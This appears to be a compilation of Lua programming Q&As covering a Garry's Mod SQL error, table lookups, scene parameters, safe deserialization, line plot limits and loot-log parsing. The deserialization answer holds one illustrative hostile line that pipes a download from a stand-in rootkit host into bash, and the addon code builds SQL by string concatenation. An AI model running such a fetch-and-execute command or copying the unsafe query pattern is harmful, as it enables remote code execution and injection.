Lua (And SQL) Error, attempt to call a boolean value - sql

So I'm getting this error while making an addon for Garrys mod, I've been trying for a while but can't quite figure this error out:
[ERROR] addons/ted_stockmarket/lua/autorun/server/stockmarket_init.lua:6: attempt to call a boolean value
1. loadcompany - addons/ted_stockmarket/lua/autorun/server/stockmarket_init.lua:6
2. unknown - addons/ted_stockmarket/lua/autorun/server/stockmarket_init.lua:20
3. unknown - lua/includes/modules/concommand.lua:54
Files are included in full so line numbers will be exact, doing on pastebin because I can't figure out the formatting on this right now. The code is kind of all over the place, I haven't touched this is a while and half of the stuff in the file is bound to be replaced
include("stockmarketprices.lua")
include("stockmarket_config.lua")
local function loadcompany(cmp)
if cmp != nil and sql.TableExists("stockmarket_sharedata") then sql.Query("INSERT INTO stockmarket_sharedata (Companyshort, Company, Shares, Value) VALUES ('"..cmp[2]..", "..cmp[3]..", "..cmp[4]..", "..cmp[5])"')"
end
end
local function test()
if !sql.TableExists(stockmarket_sharedata) then
print("Stock market performing initial load...")
sql.Query( "CREATE TABLE stockmarket_sharedata ( Companyshort string not null, Company string not null, Shares string not null, Value int not null, Rate decimal not null)" )
print("Stock market done loading, restart your server to apply changes.")
end
if stock1[1] == 1 then loadcompany(stock1)
print(stock1[3].." is done loading!")
end
end
hook.Add("Initialize", "First Load", test)
function sharepricechange(shortname, chance, low, high, direction)
if math.random(1, 100) <= chance then shortname.marketbump = math.random(low, high) end
end
hook.Add( "PlayerSay", "chatcommands", function( ply, text )
local text = string.lower( text )
local amount = tonumber(string.sub(text, 16))
local shares = tonumber(file.Read("stockmarket/lifeinsuranceshrs.txt"))
if string.sub(text, 1, 14) == "/buyshares ins" and amount <= shares then
file.Write("stockmarket/lifeinsuranceshrs.txt", ((tonumber(file.Read("stockmarket/lifeinsuranceshrs.txt"))) - tonumber(string.sub(text, 16))))
print("You have invested! There are now "..file.Read("stockmarket/lifeinsuranceshrs.txt").. " shares left for life insurance")
else end
if text == "/stockmarkethelp" then
ply:PrintMessage(HUD_PRINTCONSOLE, [[ /buyshares "company" "amount" - Purchase a specified amount of shares from a specified company.
/stockmarket - Prints all information about the stock market in console.]])
return("") end
end)
function ResetStockmarket(ply)
if ply:IsUserGroup("superadmin") then
local files, directories = file.Find( "*", "DATA")
print(files[1])
file.Delete("stockmarket")end
if !ply:IsUserGroup("superadmin") then ply:PrintMessage( HUD_PRINTCONSOLE, "You are not the right rank to use this command" )
end
end
concommand.Add( "stockmarket_reset", ResetStockmarket)
concommand.Add( "stockmarket_test", test)
pastebin.com/ERFfnbMc
stock1 = { -- DO NOT CHANGE THE TABLE IDENTIFIER
1, -- First line, determine whether or not you want this company to work
"FLN", -- The shortname of the company, keep 3 letters for consistency
"Flynn's Funerals", -- The name of the company
10000, -- The default amount of shares avaliable
94, -- The starting price of each share
0 -- The rate of the shares change in value, do not touch this.
}
pastebin.com/jbJseUWC

Related

compare values in an table in lua

I need help. I am having an table like this:
local dict = {}
dict[1] = {achan = '7f', aseq='02'} --ACK
dict[2] = {dchan = '7f', dseq='03'} --DATA
dict[3] = {achan = '7f', aseq='03'} --ACK
dict[4] = {dchan = '7f', dseq='04'} --DATA
dict[5] = {achan = '7f', aseq='04'} --ACK
dict[6] = {dchan = '7f', dseq='02'} --DATA
Basically I am using this in an Dissector so I don't know the Index except the one I am actually "standing" at the moment.
So what I want to have is:
if the "achan" and the "dchan" is the same and the "aseq" i am standing at the moment is the same as an "dseq" value on positions from the past which are already saved into the table then it should give me back the index from the same "dseq" value from the past.
if (dict[position at the moment].achan == dict[?].dchan) and (dict[position at the moment].aseq == dict[?].dseq) then
return index
end
for example: dchan from position 6 is the same es achan from position 1 and dseq from position 6 is the same as aseq from position 1. So I want to get the position 1 back
You can use a numeric for loop with a negative step size to go back in your table, starting from the previous element. Check wether the achan and aseq fields exist, then compare them vs the dchan and dseq fields of your current entry.
function getPreviousIndex(dict, currentIndex)
for i = currentIndex - 1, 1, -1 do
if dict[i].achan and dict[currentIndex].dchan
and dict[i].achan == dict[currentIndex].dchan
and dict[i].aseq and dict[currentIndex].dseq
and dict[i].aseq == dict[currentIndex].dseq then
return i
end
end
end
This code assumes you have no gaps in your table. You should also add some error handling that makes sure you actually are at a dchan entry and that your index is in range and so on...

How to get a variable name that is created in a for loop

Basically I have a for loop that is creating variables based on data in a database, I then have an event listener that is also created based on the for loop and I want to know which text is pressed
Ive tried events in the function, creating a variable for my row.name etc.
for row in db:nrows( "SELECT * FROM Students WHERE Class = '"..class.."'" ) do
print(row.Name)
--track how many students there are
count = count+1
--When displaying the names, put them in line, if they go below 1000 y level, move to the right and go down again
ny = ny + 80
if (ny == 1000) then
nx = nx + 300
ny = 280
end
-- Display students
student[row] = display.newText( sceneGroup, row.Name, nx, ny, native.systemFont, 30 )
--Make a button for every student in the row that goes to studentscene function
student[row]:addEventListener( "tap", studentscene)
end
The function then looks like
local function studentscene()
composer.gotoScene( "student", { time=800, effect="crossFade" } )
end
I want to be able to track which student name was pressed, yet i cannot find a way to do so. I need this so I can track in the database which name it is so I can display their information
you can add it by using params in goto function
`options = {
effect = model,
time = time,
params = params,
}
composer.gotoScene( nextScene , options )`
for example do this params = {student="mohsen"}
and in scene:show function do this :
if event.params then
studen = event.params.name
end

Deserialization in Lua

I have already serialized a table in lua.Does lua have any function to deserialize it?
function dump(o)
if type(o) == 'table' then
local s = '{ '
for k,v in pairs(o) do
if type(k) ~= 'number' then k = '"'..k..'"' end
s = s .. '['..k..'] = ' .. dump(v) .. ','
end
return s .. '} '
else
return tostring(o)
end
end
local people = {
{
name = "Fred",
address = "16 Long Street",
phone = "123456"
},
{
name = "Wilma",
address = "16 Long Street",
phone = "123456"
},
{
name = "Barney",
address = "17 Long Street",
phone = "123457"
}
}
file = io.open("test.lua", "a")
file:write("People:", dump(people))
The output of this program is:
People: { [1] = { ["phone"] = 123456,["name"] = Fred,["address"] = 16 Long Street,} ,[2] = { ["phone"] = 123456,["name"] = Wilma,
["address"] = 16 Long Street,} ,[3] = { ["phone"] = 123457,["name"] = Barney,["address"] = 17 Long Street,} ,}
Please suggest a way to Deserialize it in lua.
If you slightly change your code…
...
end
return s .. '} '
+++ elseif type(o) == 'string' then
+++ return ("%q"):format( o )
else
return tostring(o)
end
...
…you generate valid Lua.
Now you can
local function condfail( cond, ... )
if not cond then return nil, (...) end
return ...
end
function deserialize( str, vars )
-- create dummy environment
local env = vars and setmetatable( {}, {__index=vars} ) or {}
-- create function that returns deserialized value(s)
local f, _err = load( "return "..str, "=deserialize", "t", env )
if not f then return nil, _err end -- syntax error?
-- set up safe runner
local co = coroutine.create( f )
local hook = function( ) debug.sethook( co, error, "c", 1000000 ) end
debug.sethook( co, hook, "c" )
-- now run the deserialization
return condfail( coroutine.resume( co ) )
end
to deserialize the data in a reasonably safe way.
The unsafe way to deserialize the data would be to simply load( "return "..str )( ), but that would permit running arbitrary Lua code.
First, we put the function in a separate environment so it cannot influence the global environment. (Else, doing, say, print = function() os.execute "curl rootkit.evil.com | bash" end would replace a function with something that is later called from a different (unprotected) context and runs arbitrary code.) For convenience, you could pass in a table so the data can refer to pre-defined variables. (You're probably not going to need this, but if you ever need pre-defined constants that's how to provide them.)
Next, we run the function in a separate coroutine so we can set a debug hook that doesn't influence the rest of the program. And then we can forbid doing any function calls by effectively setting debug.sethook( co, error, "c" ). (Because the initial call of the function that "is"/returns your data would already trigger this, we delay this by one call. So we set a hook that changes the hook to error when called.)
Now all function calls are forbidden and the outside cannot be influenced by the running code. The only remaining thing that an attacker can do is waste time - e.g. by endless loops like while true do end or ::x:: goto x. So we also set a maximum instruction count when setting the hook – debug.sethook( co, error, "c", 1000000 ). One million instructions should be enough for relatively large files. It's an arbitrary limit – increase it if it's too small. (It's enough to count up to 250000 in a loop so creating more than this many primitive values is possible).
One cheap way to deserialize data is to run it. While serializing, you build executable source. Much like you already did, but add few details - add 'return' in front of table constructor, and enclose strings with quote signs, probably some escaping will be required if strings contain quote signs inside.
Note though that it's ok for trusted data only. When data comes from external sources it may contain not just expected data, but also some code that might want to compromise your system.
Otherwise you can try json, there's lots of libs already available for json serializing/deserializing.

How to read and update the lowlimit and highlimit value of lineplot/dataplot?

I try to write a code, that can read change the highlimit value (the highest value of Y axis) of linePlot/dataPlot. As shown as below, it is not working. It looks like that we cannot read the high limit value of a line plot by “number highlimit= imgdisp.linePlotImageDisplaySetContrastLimits(highlimit)”, how can read this value from a lineplot? Thanks
number linelen=len(headerline)
number i, nocommas=0
for(i=0; i<linelen; i++)
{
string thischar=mid(headerline, i, 1)
if(asc(thischar)==44) nocommas=nocommas+1 // found a comma
}
number xsize, ysize
getsize(array, xsize, ysize)
image dataplot=realimage("", 4, xsize,1)
showimage(dataplot)
setname(dataplot, imgname)
imagedisplay imgdisp=dataplot.imagegetimagedisplay(0)
number highlimit= imgdisp.linePlotImageDisplaySetContrastLimits(highlimit)
if( highlimit<50){imgdisp.linePlotImageDisplaySetContrastLimits( 0, 400)
imgdisp.LinePlotImageDisplaySetDoAutoSurvey( 0, 0 )}
Several things here:
1)
Generally, each "Set" command has an according "Get" command as well. So, the script command to read the current display-limits simply is
linePlotImageDisplayGetContrastLimits()
2)
Setting contrast limits only works if auto-surveying is switched off. You have to switch it off before you set the limits. (If you set the limits first, they are immediately replaced by the values from the survey, so you see no effect.)
3)
I am not sure what you really want to set/get. Do you want to get the maximum value of the data, or the display limit?
The maximum value is simply got by max( ) .
The DisplayLimits define the range on the y-axis, i.e. they set the value you can also specify in the properties of the display as below, they are independent of what values you have in the data:
Display limits set to 0 - 500. (Maximum data value = 500)
Display limits set to 0 - 1000. (Maximum data value = 500)
Display properties dialog.
Here is some example code of how to set and read the display limits:
image spec := RealImage( "", 4, 500 )
spec = 20 + random() * icol
spec.ShowImage()
number maxV = max(spec)
imageDisplay LPID = spec.ImageGetImageDisplay(0)
LPID.LinePlotImageDisplaySetDoAutoSurvey( 0, 0 ) // switch survey off
LPID.LinePlotImageDisplaySetContrastLimits( 0, maxV*2 ) // Set the display
number lowL, highL
LPID.LinePlotImageDisplayGetContrastLimits( lowL, highL )
Result( "\n Maximum value in data:" + maxV )
Result( "\n Data display range:" + lowL + " to " + highL )

saving indexes of strings in lua tables (arrays or dictionary table?)

So I have quite a dilemma. I have a code that reads a certain msg, for example:
m.content:sub(1,8) == 'Loot of ' then
reads:
01:50 Loot of a starving wolf: a dirty fur, a salad, 2 pancakes, 60 gold
Now I'm trying to make it insert into a table. The problem I have so far is that I can't make it count the type of string and compare it in the table to add its index.
For example:
t = {dirty fur="quantity of msgs that show this",insert a new msg="how many times haves appear}
What I have working so far is:
foreach newmessage m do
m.content:sub(1,8) == 'Loot of ' then
and then I'm just lost. I don't know how to create this table; it should be local, I believe, but the main problem I have with this is that I don't want to print it in pairs, I want to call the values from 1 to #table, in the order they were inserted. That's where my pain starts.
I want something like:
table msgs = {spear='100',something='2', ovni='123'}
so when I get this table (which I still can't make), I can call the same table for another function, that well I want to call table."xmsg" = quantity. I hope someone understands what I'm asking.
function loot()
foreach newmessage m do
if m.type == MSG_INFO and m.content:sub(1,8) == 'Loot of ' then
local content = (m.content:match('Loot of .-: (.+)')):token(nil,', ')
for i,j in ipairs(content) do
return content
end
end
end
end
return msgs of this function :
{"3 gold coins"}
{"3 gold coins"}
{"nothing"}
{"6 gold coins", "a hand axe"}
{"12 gold coins", "a hand axe"}
TEST_LOG = [[
01:50 Loot of a starving wolf: a dirty fur, a large melon, a cactus
02:20 Loot of a giant: a large melon, an axe
03:30 You are on fire! Not really, this is just a test message
04:00 Loot of a starving wolf: a dirty fur, a tooth, a bundle of hair
04:00 Loot of a starving wolf: a dirty fur, a tooth, an axe
]]
ENEMY_LOOT_COUNTS = {}
LOOT_COUNTS = {}
for line in string.gmatch(TEST_LOG, "([^\n]+)\n") do
local time, msg = string.match(line, "(%d%d:%d%d) (.+)$")
if msg and msg:sub(1, 8) == "Loot of " then
local enemy_name, contents = string.match(msg, "^Loot of a ([^:]+): (.+)$")
local enemy_t = ENEMY_LOOT_COUNTS[enemy_name]
if not enemy_t then
enemy_t = {}
ENEMY_LOOT_COUNTS[enemy_name] = enemy_t
end
local items = {}
for item_name in string.gmatch(contents, "an? ([^,]+)") do
items[#items+1] = item_name
enemy_t[item_name] = (enemy_t[item_name] or 0)+1
LOOT_COUNTS[item_name] = (LOOT_COUNTS[item_name] or 0)+1
end
else
-- you can handle other messages here if you want
end
end
for enemy_name, loot_counts in pairs(ENEMY_LOOT_COUNTS) do
local s = "Enemy "..enemy_name.." dropped: "
for item_name, item_count in pairs(loot_counts) do
s = s..item_count.."x "..item_name..", "
end
print(s)
end
do
local s = "Overall: "
for item_name, item_count in pairs(LOOT_COUNTS) do
s = s..item_count.."x "..item_name..", "
end
print(s)
end
I wanted to write a long answer to accompany this code, but I don't have the time right now, sorry.
I'll do it later.